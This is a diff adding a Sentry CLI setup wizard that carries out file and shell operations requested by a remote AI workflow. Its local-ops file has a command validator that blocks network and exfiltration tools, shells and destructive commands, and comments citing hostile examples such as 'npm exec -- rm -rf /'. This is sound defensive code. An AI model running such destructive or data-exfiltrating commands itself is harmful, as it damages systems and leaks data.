+ +export function featureHint(id: string): string | undefined { + return FEATURE_INFO[id]?.hint; +} + +export const STEP_LABELS: Record = { + "discover-context": "Analyzing project structure", + "select-target-app": "Selecting target application", + "resolve-dir": "Resolving project directory", + "check-existing-sentry": "Checking for existing Sentry installation", + "detect-platform": "Detecting platform and framework", + "ensure-sentry-project": "Setting up Sentry project", + "select-features": "Selecting features", + "determine-pm": "Detecting package manager", + "install-deps": "Installing dependencies", + "plan-codemods": "Planning code modifications", + "apply-codemods": "Applying code modifications", + "verify-changes": "Verifying changes", + "open-sentry-ui": "Finishing up", +}; diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts new file mode 100644 index 00000000..898a1e2e --- /dev/null +++ b/src/lib/init/constants.ts @@ -0,0 +1,24 @@ +export const MASTRA_API_URL = + process.env.MASTRA_API_URL ?? + "https://sentry-init-agent.getsentry.workers.dev"; + +export const WORKFLOW_ID = "sentry-wizard"; + +export const SENTRY_DOCS_URL = "https://docs.sentry.io/platforms/"; + +export const MAX_FILE_BYTES = 262_144; // 256KB per file +export const MAX_OUTPUT_BYTES = 65_536; // 64KB stdout/stderr truncation +export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000; // 2 minutes +export const API_TIMEOUT_MS = 120_000; // 2 minutes timeout for Mastra API calls + +// Exit codes returned by the remote workflow +export const EXIT_SENTRY_ALREADY_INSTALLED = 10; +export const EXIT_PLATFORM_NOT_DETECTED = 20; +export const EXIT_DEPENDENCY_INSTALL_FAILED = 30; +export const EXIT_VERIFICATION_FAILED = 50; + +// Step ID used in dry-run special-case logic +export const VERIFY_CHANGES_STEP = "verify-changes"; + +// The feature that is always included in every setup +export const REQUIRED_FEATURE = "errorMonitoring"; diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts new file mode 100644 index 00000000..3f56a24a --- /dev/null +++ b/src/lib/init/formatters.ts @@ -0,0 +1,113 @@ +/** + * Output Formatters + * + * Format wizard results and errors for terminal display using clack. + */ + +import { cancel, log, note, outro } from "@clack/prompts"; +import { featureLabel } from "./clack-utils.js"; +import { + EXIT_DEPENDENCY_INSTALL_FAILED, + EXIT_PLATFORM_NOT_DETECTED, + EXIT_SENTRY_ALREADY_INSTALLED, + EXIT_VERIFICATION_FAILED, +} from "./constants.js"; +import type { WizardOutput, WorkflowRunResult } from "./types.js"; + +function fileActionIcon(action: string): string { + if (action === "create") { + return "+"; + } + if (action === "delete") { + return "-"; + } + return "~"; +} + +function buildSummaryLines(output: WizardOutput): string[] { + const lines: string[] = []; + + if (output.platform) { + lines.push(`Platform: ${output.platform}`); + } + if (output.projectDir) { + lines.push(`Directory: ${output.projectDir}`); + } + + if (output.features?.length) { + lines.push(`Features: ${output.features.map(featureLabel).join(", ")}`); + } + + if (output.commands?.length) { + lines.push(`Commands: ${output.commands.join("; ")}`); + } + if (output.sentryProjectUrl) { + lines.push(`Project: ${output.sentryProjectUrl}`); + } + if (output.docsUrl) { + lines.push(`Docs: ${output.docsUrl}`); + } + + const changedFiles = output.changedFiles; + if (changedFiles?.length) { + lines.push(""); + lines.push("Changed files:"); + for (const f of changedFiles) { + lines.push(` ${fileActionIcon(f.action)} ${f.path}`); + } + } + + return lines; +} + +export function formatResult(result: WorkflowRunResult): void { + const output: WizardOutput = result.result ?? {}; + const lines = buildSummaryLines(output); + + if (lines.length > 0) { + note(lines.join("\n"), "Setup complete"); + } + + if (output.warnings?.length) { + for (const w of output.warnings) { + log.warn(w); + } + } + + log.info("Please review the changes above before committing."); + + outro("Sentry SDK installed successfully!"); +} + +export function formatError(result: WorkflowRunResult): void { + const inner = result.result; + const message = + result.error ?? inner?.message ?? "Wizard failed with an unknown error"; + const exitCode = inner?.exitCode ?? 1; + + log.error(String(message)); + + if (exitCode === EXIT_SENTRY_ALREADY_INSTALLED) { + log.warn("Hint: Use --force to override existing Sentry installation."); + } else if (exitCode === EXIT_PLATFORM_NOT_DETECTED) { + log.warn( + "Hint: Could not detect your project's platform. Check that the directory contains a valid project." + ); + } else if (exitCode === EXIT_DEPENDENCY_INSTALL_FAILED) { + const commands = inner?.commands; + if (commands?.length) { + log.warn( + `You can install dependencies manually:\n${commands.map((cmd) => ` $ ${cmd}`).join("\n")}` + ); + } + } else if (exitCode === EXIT_VERIFICATION_FAILED) { + log.warn("Hint: Fix the verification issues and run 'sentry init' again."); + } + + const docsUrl = inner?.docsUrl; + if (docsUrl) { + log.info(`Docs: ${docsUrl}`); + } + + cancel("Setup failed"); +} diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts new file mode 100644 index 00000000..aa4ae0b4 --- /dev/null +++ b/src/lib/init/interactive.ts @@ -0,0 +1,145 @@ +/** + * Interactive Dispatcher + * + * Handles interactive prompts from the remote workflow. + * Supports select, multi-select, and confirm prompts. + * Respects --yes flag for non-interactive mode. + */ + +import { confirm, log, multiselect, select } from "@clack/prompts"; +import chalk from "chalk"; +import { abortIfCancelled, featureHint, featureLabel } from "./clack-utils.js"; +import { REQUIRED_FEATURE } from "./constants.js"; +import type { + ConfirmPayload, + InteractivePayload, + MultiSelectPayload, + SelectPayload, + WizardOptions, +} from "./types.js"; + +export async function handleInteractive( + payload: InteractivePayload, + options: WizardOptions +): Promise> { + switch (payload.kind) { + case "select": + return await handleSelect(payload, options); + case "multi-select": + return await handleMultiSelect(payload, options); + case "confirm": + return await handleConfirm(payload, options); + default: + return { cancelled: true }; + } +} + +async function handleSelect( + payload: SelectPayload, + options: WizardOptions +): Promise> { + const apps = payload.apps ?? []; + const items = payload.options ?? apps.map((a) => a.name); + + if (items.length === 0) { + return { cancelled: true }; + } + + if (options.yes) { + if (items.length === 1) { + log.info(`Auto-selected: ${items[0]}`); + return { selectedApp: items[0] }; + } + log.error( + `--yes requires exactly one option for selection, but found ${items.length}. Run interactively to choose.` + ); + return { cancelled: true }; + } + + const selected = await select({ + message: payload.prompt, + options: items.map((item, i) => { + const app = apps[i]; + return { + value: item, + label: item, + hint: app?.framework ?? undefined, + }; + }), + }); + + return { selectedApp: abortIfCancelled(selected) }; +} + +async function handleMultiSelect( + payload: MultiSelectPayload, + options: WizardOptions +): Promise> { + const available = payload.availableFeatures ?? payload.options ?? []; + + if (available.length === 0) { + return { features: [] }; + } + + const hasRequired = available.includes(REQUIRED_FEATURE); + + if (options.yes) { + log.info( + `Auto-selected all features: ${available.map(featureLabel).join(", ")}` + ); + return { features: available }; + } + + const optional = available.filter((f) => f !== REQUIRED_FEATURE); + + if (optional.length === 0) { + if (hasRequired) { + log.info(`${featureLabel(REQUIRED_FEATURE)} is always included.`); + } + return { features: hasRequired ? [REQUIRED_FEATURE] : [] }; + } + + const hints: string[] = []; + if (hasRequired) { + hints.push( + chalk.dim(` ${featureLabel(REQUIRED_FEATURE)} is always included`) + ); + } + hints.push(chalk.dim(" space=toggle, a=all, enter=confirm")); + + const selected = await multiselect({ + message: `${payload.prompt}\n${hints.join("\n")}`, + options: optional.map((feature) => ({ + value: feature, + label: featureLabel(feature), + hint: featureHint(feature), + })), + initialValues: optional, + required: false, + }); + + const chosen = abortIfCancelled(selected); + if (hasRequired && !chosen.includes(REQUIRED_FEATURE)) { + chosen.unshift(REQUIRED_FEATURE); + } + + return { features: chosen }; +} + +async function handleConfirm( + payload: ConfirmPayload, + options: WizardOptions +): Promise> { + if (options.yes) { + log.info("Auto-confirmed: continuing"); + return { action: "continue" }; + } + + const confirmed = await confirm({ + message: payload.prompt, + initialValue: true, + }); + + const value = abortIfCancelled(confirmed); + return { action: value ? "continue" : "stop" }; +} diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts new file mode 100644 index 00000000..28d6321d --- /dev/null +++ b/src/lib/init/local-ops.ts @@ -0,0 +1,682 @@ +/** + * Local Operations Dispatcher + * + * Handles filesystem and shell operations requested by the remote workflow. + * All operations are sandboxed to the workflow's cwd directory. + */ + +import { spawn } from "node:child_process"; +import fs from "node:fs"; +import path from "node:path"; +import { isCancel, select } from "@clack/prompts"; +import { + createProject, + listOrganizations, + tryGetPrimaryDsn, +} from "../api-client.js"; +import { resolveOrg } from "../resolve-target.js"; +import { resolveOrCreateTeam } from "../resolve-team.js"; +import { buildProjectUrl } from "../sentry-urls.js"; +import { slugify } from "../utils.js"; +import { + DEFAULT_COMMAND_TIMEOUT_MS, + MAX_FILE_BYTES, + MAX_OUTPUT_BYTES, +} from "./constants.js"; +import type { + ApplyPatchsetPayload, + CreateSentryProjectPayload, + DirEntry, + FileExistsBatchPayload, + ListDirPayload, + LocalOpPayload, + LocalOpResult, + ReadFilesPayload, + RunCommandsPayload, + WizardOptions, +} from "./types.js"; + +/** + * Shell metacharacters that enable chaining, piping, substitution, or redirection. + * All legitimate install commands are simple single commands that don't need these. + * + * Ordering matters for error-message accuracy (not correctness): multi-character + * operators like `&&` and `||` are checked before their single-character prefixes + * (`&`, `|`) so the reported label describes the actual construct the user wrote. + */ +const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = + [ + { pattern: ";", label: "command chaining (;)" }, + // Check multi-char operators before single `|` / `&` so labels are accurate + { pattern: "&&", label: "command chaining (&&)" }, + { pattern: "||", label: "command chaining (||)" }, + { pattern: "|", label: "piping (|)" }, + { pattern: "`", label: "command substitution (`)" }, + { pattern: "$(", label: "command substitution ($()" }, + { pattern: "(", label: "subshell/grouping (()" }, + { pattern: ")", label: "subshell/grouping ())" }, + { pattern: "$", label: "variable/command expansion ($)" }, + { pattern: "'", label: "single quote (')" }, + { pattern: '"', label: 'double quote (")' }, + { pattern: "\\", label: "backslash escape (\\)" }, + { pattern: "\n", label: "newline" }, + { pattern: "\r", label: "carriage return" }, + { pattern: ">", label: "redirection (>)" }, + { pattern: "<", label: "redirection (<)" }, + { pattern: "&", label: "background execution (&)" }, + // Glob and brace expansion — brace expansion is the real risk + // (e.g. `npm install {evil,@sentry/node}`) + { pattern: "{", label: "brace expansion ({)" }, + { pattern: "}", label: "brace expansion (})" }, + { pattern: "*", label: "glob expansion (*)" }, + { pattern: "?", label: "glob expansion (?)" }, + { pattern: "#", label: "shell comment (#)" }, + ]; + +const WHITESPACE_RE = /\s+/; + +/** + * Executables that should never appear in a package install command. + */ +const BLOCKED_EXECUTABLES = new Set([ + // Destructive + "rm", + "rmdir", + "del", + // Network/exfil + "curl", + "wget", + "nc", + "ncat", + "netcat", + "socat", + "telnet", + "ftp", + // Privilege escalation + "sudo", + "su", + "doas", + // Permissions + "chmod", + "chown", + "chgrp", + // Process/system + "kill", + "killall", + "pkill", + "shutdown", + "reboot", + "halt", + "poweroff", + // Disk + "dd", + "mkfs", + "fdisk", + "mount", + "umount", + // Remote access + "ssh", + "scp", + "sftp", + // Shells + "bash", + "sh", + "zsh", + "fish", + "csh", + "dash", + // Misc dangerous + "eval", + "exec", + "env", + "xargs", +]); + +/** + * Validate a command before execution. + * Returns an error message if the command is unsafe, or undefined if it's OK. + */ +export function validateCommand(command: string): string | undefined { + // Layer 1: Block shell metacharacters + for (const { pattern, label } of SHELL_METACHARACTER_PATTERNS) { + if (command.includes(pattern)) { + return `Blocked command: contains ${label} — "${command}"`; + } + } + + // Layer 2: Block environment variable injection (VAR=value cmd) + const firstToken = command.trimStart().split(WHITESPACE_RE)[0]; + if (!firstToken) { + return "Blocked command: empty command"; + } + if (firstToken.includes("=")) { + return `Blocked command: contains environment variable assignment — "${command}"`; + } + + // Layer 3: Block dangerous executables (first token only). + // NOTE: This only checks the primary executable (e.g. "npm"), not + // subcommands. A command like "npm exec -- rm -rf /" passes because + // "npm" is the first token. Comprehensive subcommand parsing across + // package managers is not implemented — commands originate from the + // Sentry API server, and Layer 1 already blocks most injection patterns. + const executable = path.basename(firstToken); + if (BLOCKED_EXECUTABLES.has(executable)) { + return `Blocked command: disallowed executable "${executable}" — "${command}"`; + } + + return; +} + +/** + * Resolve a path relative to cwd and verify it's inside cwd. + * Rejects path traversal attempts and symlinks that escape the project directory. + */ +function safePath(cwd: string, relative: string): string { + const resolved = path.resolve(cwd, relative); + const normalizedCwd = path.resolve(cwd); + if ( + !resolved.startsWith(normalizedCwd + path.sep) && + resolved !== normalizedCwd + ) { + throw new Error(`Path "${relative}" resolves outside project directory`); + } + + // Follow symlinks: verify the real path also stays within bounds. + // Resolve cwd through realpathSync too (e.g. macOS /tmp -> /private/tmp). + let realCwd: string; + try { + realCwd = fs.realpathSync(normalizedCwd); + } catch { + // cwd doesn't exist yet — no symlinks to follow + return resolved; + } + + // For paths that don't exist yet (create ops), walk up to the nearest + // existing ancestor and check that instead. + let checkPath = resolved; + for (;;) { + try { + const real = fs.realpathSync(checkPath); + if (!real.startsWith(realCwd + path.sep) && real !== realCwd) { + throw new Error( + `Path "${relative}" resolves outside project directory via symlink` + ); + } + break; + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== "ENOENT") { + throw err; + } + const parent = path.dirname(checkPath); + if (parent === checkPath) { + break; // filesystem root + } + checkPath = parent; + } + } + + return resolved; +} + +/** + * Pre-compute directory listing before the first API call. + * Uses the same parameters the server's discover-context step would request. + */ +export function precomputeDirListing(directory: string): DirEntry[] { + const result = listDir({ + type: "local-op", + operation: "list-dir", + cwd: directory, + params: { path: ".", recursive: true, maxDepth: 3, maxEntries: 500 }, + }); + return (result.data as { entries?: DirEntry[] })?.entries ?? []; +} + +export async function handleLocalOp( + payload: LocalOpPayload, + options: WizardOptions +): Promise { + try { + // Validate that the remote-supplied cwd is within the user's project directory + const normalizedCwd = path.resolve(payload.cwd); + const normalizedDir = path.resolve(options.directory); + if ( + normalizedCwd !== normalizedDir && + !normalizedCwd.startsWith(normalizedDir + path.sep) + ) { + return { + ok: false, + error: `Blocked: cwd "${payload.cwd}" is outside project directory "${options.directory}"`, + }; + } + + switch (payload.operation) { + case "list-dir": + return await listDir(payload); + case "read-files": + return await readFiles(payload); + case "file-exists-batch": + return await fileExistsBatch(payload); + case "run-commands": + return await runCommands(payload, options.dryRun); + case "apply-patchset": + return await applyPatchset(payload, options.dryRun); + case "create-sentry-project": + return await createSentryProject(payload, options); + default: + return { + ok: false, + error: `Unknown operation: ${ + // biome-ignore lint/suspicious/noExplicitAny: payload is of type LocalOpPayload + (payload as any).operation + }`, + }; + } + } catch (error) { + return { + ok: false, + error: error instanceof Error ? error.message : String(error), + }; + } +} + +function listDir(payload: ListDirPayload): LocalOpResult { + const { cwd, params } = payload; + const targetPath = safePath(cwd, params.path); + const maxDepth = params.maxDepth ?? 3; + const maxEntries = params.maxEntries ?? 500; + const recursive = params.recursive ?? false; + + const entries: DirEntry[] = []; + + // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: walking the directory tree is a complex operation + function walk(dir: string, depth: number): void { + if (entries.length >= maxEntries || depth > maxDepth) { + return; + } + + let dirEntries: fs.Dirent[]; + try { + dirEntries = fs.readdirSync(dir, { withFileTypes: true }); + } catch { + return; + } + + for (const entry of dirEntries) { + if (entries.length >= maxEntries) { + return; + } + + const relPath = path.relative(cwd, path.join(dir, entry.name)); + const type = entry.isDirectory() ? "directory" : "file"; + entries.push({ name: entry.name, path: relPath, type }); + + if ( + recursive && + entry.isDirectory() && + !entry.name.startsWith(".") && + entry.name !== "node_modules" + ) { + walk(path.join(dir, entry.name), depth + 1); + } + } + } + + walk(targetPath, 0); + return { ok: true, data: { entries } }; +} + +function readFiles(payload: ReadFilesPayload): LocalOpResult { + const { cwd, params } = payload; + const maxBytes = params.maxBytes ?? MAX_FILE_BYTES; + const files: Record = {}; + + for (const filePath of params.paths) { + try { + const absPath = safePath(cwd, filePath); + const stat = fs.statSync(absPath); + if (stat.size > maxBytes) { + // Read only up to maxBytes + const buffer = Buffer.alloc(maxBytes); + const fd = fs.openSync(absPath, "r"); + try { + fs.readSync(fd, buffer, 0, maxBytes, 0); + } finally { + fs.closeSync(fd); + } + files[filePath] = buffer.toString("utf-8"); + } else { + files[filePath] = fs.readFileSync(absPath, "utf-8"); + } + } catch { + files[filePath] = null; + } + } + + return { ok: true, data: { files } }; +} + +function fileExistsBatch(payload: FileExistsBatchPayload): LocalOpResult { + const { cwd, params } = payload; + const exists: Record = {}; + + for (const filePath of params.paths) { + try { + const absPath = safePath(cwd, filePath); + exists[filePath] = fs.existsSync(absPath); + } catch { + exists[filePath] = false; + } + } + + return { ok: true, data: { exists } }; +} + +async function runCommands( + payload: RunCommandsPayload, + dryRun?: boolean +): Promise { + const { cwd, params } = payload; + const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; + + // Phase 1: Validate ALL commands upfront (including dry-run) + for (const command of params.commands) { + const validationError = validateCommand(command); + if (validationError) { + return { ok: false, error: validationError }; + } + } + + // Phase 2: Execute (skip in dry-run) + const results: Array<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; + }> = []; + + for (const command of params.commands) { + if (dryRun) { + results.push({ + command, + exitCode: 0, + stdout: "(dry-run: skipped)", + stderr: "", + }); + continue; + } + + const result = await runSingleCommand(command, cwd, timeoutMs); + results.push(result); + if (result.exitCode !== 0) { + return { + ok: false, + error: `Command "${command}" failed with exit code ${result.exitCode}: ${result.stderr}`, + data: { results }, + }; + } + } + + return { ok: true, data: { results } }; +} + +// Note: shell: true targets Unix shells. Windows cmd.exe metacharacters +// (%, ^) are not blocked; the CLI assumes a Unix Node.js environment. +function runSingleCommand( + command: string, + cwd: string, + timeoutMs: number +): Promise<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; +}> { + return new Promise((resolve) => { + const child = spawn(command, [], { + shell: true, + cwd, + stdio: ["ignore", "pipe", "pipe"], + timeout: timeoutMs, + }); + + const stdoutChunks: Buffer[] = []; + const stderrChunks: Buffer[] = []; + let stdoutLen = 0; + let stderrLen = 0; + + child.stdout.on("data", (chunk: Buffer) => { + if (stdoutLen < MAX_OUTPUT_BYTES) { + stdoutChunks.push(chunk); + stdoutLen += chunk.length; + } + }); + + child.stderr.on("data", (chunk: Buffer) => { + if (stderrLen < MAX_OUTPUT_BYTES) { + stderrChunks.push(chunk); + stderrLen += chunk.length; + } + }); + + child.on("error", (err) => { + resolve({ + command, + exitCode: 1, + stdout: "", + stderr: err.message, + }); + }); + + child.on("close", (code) => { + const stdout = Buffer.concat(stdoutChunks) + .toString("utf-8") + .slice(0, MAX_OUTPUT_BYTES); + const stderr = Buffer.concat(stderrChunks) + .toString("utf-8") + .slice(0, MAX_OUTPUT_BYTES); + resolve({ command, exitCode: code ?? 1, stdout, stderr }); + }); + }); +} + +function applyPatchsetDryRun(payload: ApplyPatchsetPayload): LocalOpResult { + const { cwd, params } = payload; + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of params.patches) { + safePath(cwd, patch.path); + if (!["create", "modify", "delete"].includes(patch.action)) { + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; + } + applied.push({ path: patch.path, action: patch.action }); + } + + return { ok: true, data: { applied } }; +} + +function applyPatchset( + payload: ApplyPatchsetPayload, + dryRun?: boolean +): LocalOpResult { + if (dryRun) { + return applyPatchsetDryRun(payload); + } + + const { cwd, params } = payload; + + // Phase 1: Validate all paths and actions before writing anything + for (const patch of params.patches) { + safePath(cwd, patch.path); + if (!["create", "modify", "delete"].includes(patch.action)) { + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; + } + } + + // Phase 2: Apply patches + const applied: Array<{ path: string; action: string }> = []; + + for (const patch of params.patches) { + const absPath = safePath(cwd, patch.path); + + switch (patch.action) { + case "create": { + const dir = path.dirname(absPath); + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(absPath, patch.patch, "utf-8"); + applied.push({ path: patch.path, action: "create" }); + break; + } + case "modify": { + if (!fs.existsSync(absPath)) { + return { + ok: false, + error: `Cannot modify "${patch.path}": file does not exist`, + data: { applied }, + }; + } + fs.writeFileSync(absPath, patch.patch, "utf-8"); + applied.push({ path: patch.path, action: "modify" }); + break; + } + case "delete": { + if (fs.existsSync(absPath)) { + fs.unlinkSync(absPath); + } + applied.push({ path: patch.path, action: "delete" }); + break; + } + default: + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + data: { applied }, + }; + } + } + + return { ok: true, data: { applied } }; +} + +/** + * Resolve the org slug from local config, env vars, or by listing the user's + * organizations from the API as a fallback. + * Returns the slug on success, or a LocalOpResult error to return early. + */ +async function resolveOrgSlug( + cwd: string, + yes: boolean +): Promise { + const resolved = await resolveOrg({ cwd }); + if (resolved) { + return resolved.org; + } + + // Fallback: list user's organizations from API + const orgs = await listOrganizations(); + if (orgs.length === 0) { + return { + ok: false, + error: "Not authenticated. Run 'sentry login' first.", + }; + } + if (orgs.length === 1 && orgs[0]) { + return orgs[0].slug; + } + + // Multiple orgs — interactive selection + if (yes) { + const slugs = orgs.map((o) => o.slug).join(", "); + return { + ok: false, + error: `Multiple organizations found (${slugs}). Set SENTRY_ORG to specify which one.`, + }; + } + const selected = await select({ + message: "Which organization should the project be created in?", + options: orgs.map((o) => ({ + value: o.slug, + label: o.name, + hint: o.slug, + })), + }); + if (isCancel(selected)) { + return { ok: false, error: "Organization selection cancelled." }; + } + return selected; +} + +async function createSentryProject( + payload: CreateSentryProjectPayload, + options: WizardOptions +): Promise { + const { name, platform } = payload.params; + const slug = slugify(name); + if (!slug) { + return { + ok: false, + error: `Invalid project name: "${name}" produces an empty slug.`, + }; + } + + // In dry-run mode, skip all API calls and return placeholder data + if (options.dryRun) { + return { + ok: true, + data: { + orgSlug: "(dry-run)", + projectSlug: slug, + projectId: "(dry-run)", + dsn: "(dry-run)", + url: "(dry-run)", + }, + }; + } + + try { + // 1. Resolve org + const orgResult = await resolveOrgSlug(payload.cwd, options.yes); + if (typeof orgResult !== "string") { + return orgResult; + } + const orgSlug = orgResult; + + // 2. Resolve or create team + const team = await resolveOrCreateTeam(orgSlug, { + autoCreateSlug: slug, + usageHint: "sentry init", + }); + + // 3. Create project + const project = await createProject(orgSlug, team.slug, { + name, + platform, + }); + + // 4. Get DSN (best-effort) + const dsn = await tryGetPrimaryDsn(orgSlug, project.slug); + + // 5. Build URL + const url = buildProjectUrl(orgSlug, project.slug); + + return { + ok: true, + data: { + orgSlug, + projectSlug: project.slug, + projectId: project.id, + dsn: dsn ?? "", + url, + }, + }; + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + return { ok: false, error: message }; + } +} diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts new file mode 100644 index 00000000..2a78e117 --- /dev/null +++ b/src/lib/init/types.ts @@ -0,0 +1,152 @@ +export type DirEntry = { + name: string; + path: string; + type: "file" | "directory"; +}; + +export type WizardOptions = { + directory: string; + force: boolean; + yes: boolean; + dryRun: boolean; + features?: string[]; +}; + +// Local-op suspend payloads + +export type LocalOpPayload = + | ListDirPayload + | ReadFilesPayload + | FileExistsBatchPayload + | RunCommandsPayload + | ApplyPatchsetPayload + | CreateSentryProjectPayload; + +export type ListDirPayload = { + type: "local-op"; + operation: "list-dir"; + cwd: string; + params: { + path: string; + recursive?: boolean; + maxDepth?: number; + maxEntries?: number; + }; +}; + +export type ReadFilesPayload = { + type: "local-op"; + operation: "read-files"; + cwd: string; + params: { + paths: string[]; + maxBytes?: number; + }; +}; + +export type FileExistsBatchPayload = { + type: "local-op"; + operation: "file-exists-batch"; + cwd: string; + params: { + paths: string[]; + }; +}; + +export type RunCommandsPayload = { + type: "local-op"; + operation: "run-commands"; + cwd: string; + params: { + commands: string[]; + timeoutMs?: number; + }; +}; + +export type ApplyPatchsetPayload = { + type: "local-op"; + operation: "apply-patchset"; + cwd: string; + params: { + patches: Array<{ + path: string; + action: "create" | "modify" | "delete"; + patch: string; + }>; + }; +}; + +export type CreateSentryProjectPayload = { + type: "local-op"; + operation: "create-sentry-project"; + cwd: string; + params: { + name: string; + platform: string; + }; +}; + +export type LocalOpResult = { + ok: boolean; + error?: string; + data?: unknown; +}; + +// Wizard output — typed shape of the `result` field returned by the server + +export type WizardOutput = { + platform?: string; + projectDir?: string; + features?: string[]; + commands?: string[]; + changedFiles?: Array<{ action: string; path: string }>; + warnings?: string[]; + exitCode?: number; + docsUrl?: string; + sentryProjectUrl?: string; + message?: string; +}; + +// Interactive suspend payloads + +export type InteractivePayload = + | SelectPayload + | MultiSelectPayload + | ConfirmPayload; + +export type SelectPayload = { + type: "interactive"; + kind: "select"; + prompt: string; + options?: string[]; + apps?: Array<{ name: string; path: string; framework?: string }>; +}; + +export type MultiSelectPayload = { + type: "interactive"; + kind: "multi-select"; + prompt: string; + availableFeatures?: string[]; + options?: string[]; +}; + +export type ConfirmPayload = { + type: "interactive"; + kind: "confirm"; + prompt: string; +}; + +// Combined suspend payload — either a local-op or an interactive prompt + +export type SuspendPayload = LocalOpPayload | InteractivePayload; + +// Workflow run result + +export type WorkflowRunResult = { + status: "suspended" | "success" | "failed"; + suspended?: string[][]; + steps?: Record; + suspendPayload?: unknown; + result?: WizardOutput; + error?: string; +}; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts new file mode 100644 index 00000000..1e0bd3f3 --- /dev/null +++ b/src/lib/init/wizard-runner.ts @@ -0,0 +1,353 @@ +/** + * Wizard Runner + * + * Main suspend/resume loop that drives the remote Mastra workflow. + * Each iteration: check status → if suspended, perform local-op or + * interactive prompt → resume with result → repeat. + */ + +import { randomBytes } from "node:crypto"; +import { cancel, intro, log, spinner } from "@clack/prompts"; +import { MastraClient } from "@mastra/client-js"; +import { formatBanner } from "../banner.js"; +import { CLI_VERSION } from "../constants.js"; +import { getAuthToken } from "../db/auth.js"; +import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; +import { + API_TIMEOUT_MS, + MASTRA_API_URL, + SENTRY_DOCS_URL, + VERIFY_CHANGES_STEP, + WORKFLOW_ID, +} from "./constants.js"; +import { formatError, formatResult } from "./formatters.js"; +import { handleInteractive } from "./interactive.js"; +import { handleLocalOp, precomputeDirListing } from "./local-ops.js"; +import type { + SuspendPayload, + WizardOptions, + WorkflowRunResult, +} from "./types.js"; + +type Spinner = ReturnType; + +type SpinState = { running: boolean }; + +type StepContext = { + payload: SuspendPayload; + stepId: string; + spin: Spinner; + spinState: SpinState; + options: WizardOptions; +}; + +function nextPhase( + stepPhases: Map, + stepId: string, + names: string[] +): string { + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + return names[Math.min(phase - 1, names.length - 1)] ?? "done"; +} + +async function handleSuspendedStep( + ctx: StepContext, + stepPhases: Map, + stepHistory: Map[]> +): Promise> { + const { payload, stepId, spin, spinState, options } = ctx; + const label = STEP_LABELS[stepId] ?? stepId; + + if (payload.type === "local-op") { + const detail = payload.operation ? ` (${payload.operation})` : ""; + spin.message(`${label}${detail}...`); + + const localResult = await handleLocalOp(payload, options); + + const history = stepHistory.get(stepId) ?? []; + history.push(localResult); + stepHistory.set(stepId, history); + + return { + ...localResult, + _phase: nextPhase(stepPhases, stepId, ["read-files", "analyze", "done"]), + _prevPhases: history.slice(0, -1), + }; + } + + if (payload.type === "interactive") { + // In dry-run mode, verification always fails because no files were written + // (the server skips apply-patchset). Auto-continue since this is expected. + if (options.dryRun && stepId === VERIFY_CHANGES_STEP) { + return { + action: "continue", + _phase: nextPhase(stepPhases, stepId, ["apply"]), + }; + } + + spin.stop(label); + spinState.running = false; + + const interactiveResult = await handleInteractive(payload, options); + + spin.start("Processing..."); + spinState.running = true; + + return { + ...interactiveResult, + _phase: nextPhase(stepPhases, stepId, ["apply"]), + }; + } + + // Unreachable: assertSuspendPayload validates the type before we get here. + // Kept as a defensive fallback. + spin.stop("Error", 1); + spinState.running = false; + log.error( + `Unknown suspend payload type "${(payload as { type: string }).type}"` + ); + cancel("Setup failed"); + throw new WizardCancelledError(); +} + +function errorMessage(err: unknown): string { + return err instanceof Error ? err.message : String(err); +} + +function assertWorkflowResult(raw: unknown): WorkflowRunResult { + if (!raw || typeof raw !== "object") { + throw new Error("Invalid workflow response: expected object"); + } + const obj = raw as Record; + if ( + typeof obj.status !== "string" || + !["suspended", "success", "failed"].includes(obj.status) + ) { + throw new Error(`Unexpected workflow status: ${String(obj.status)}`); + } + return obj as WorkflowRunResult; +} + +function assertSuspendPayload(raw: unknown): SuspendPayload { + if (!raw || typeof raw !== "object") { + throw new Error("Invalid suspend payload: expected object"); + } + const obj = raw as Record; + if ( + typeof obj.type !== "string" || + !["local-op", "interactive"].includes(obj.type) + ) { + throw new Error(`Unknown suspend payload type: ${String(obj.type)}`); + } + return obj as SuspendPayload; +} + +/** + * Race a promise against a timeout. Rejects with a descriptive error + * if the promise doesn't settle within `ms` milliseconds. + */ +function withTimeout( + promise: Promise, + ms: number, + label: string +): Promise { + return new Promise((resolve, reject) => { + const timer = setTimeout( + () => reject(new Error(`${label} timed out after ${ms / 1000}s`)), + ms + ); + promise.then( + (val) => { + clearTimeout(timer); + resolve(val); + }, + (err) => { + clearTimeout(timer); + reject(err); + } + ); + }); +} + +export async function runWizard(options: WizardOptions): Promise { + const { directory, force, yes, dryRun, features } = options; + + if (!(yes || process.stdin.isTTY)) { + process.stderr.write( + "Error: Interactive mode requires a terminal. Use --yes for non-interactive mode.\n" + ); + process.exitCode = 1; + return; + } + + process.stderr.write(`\n${formatBanner()}\n\n`); + intro("sentry init"); + + if (dryRun) { + log.warn("Dry-run mode: no files will be modified."); + } + + log.info( + "This wizard uses AI to analyze your project and configure Sentry." + + `\nFor manual setup: ${SENTRY_DOCS_URL}` + ); + + const tracingOptions = { + traceId: randomBytes(16).toString("hex"), + tags: ["sentry-cli", "init-wizard"], + metadata: { + cliVersion: CLI_VERSION, + os: process.platform, + arch: process.arch, + nodeVersion: process.version, + dryRun, + }, + }; + + const token = getAuthToken(); + const client = new MastraClient({ + baseUrl: 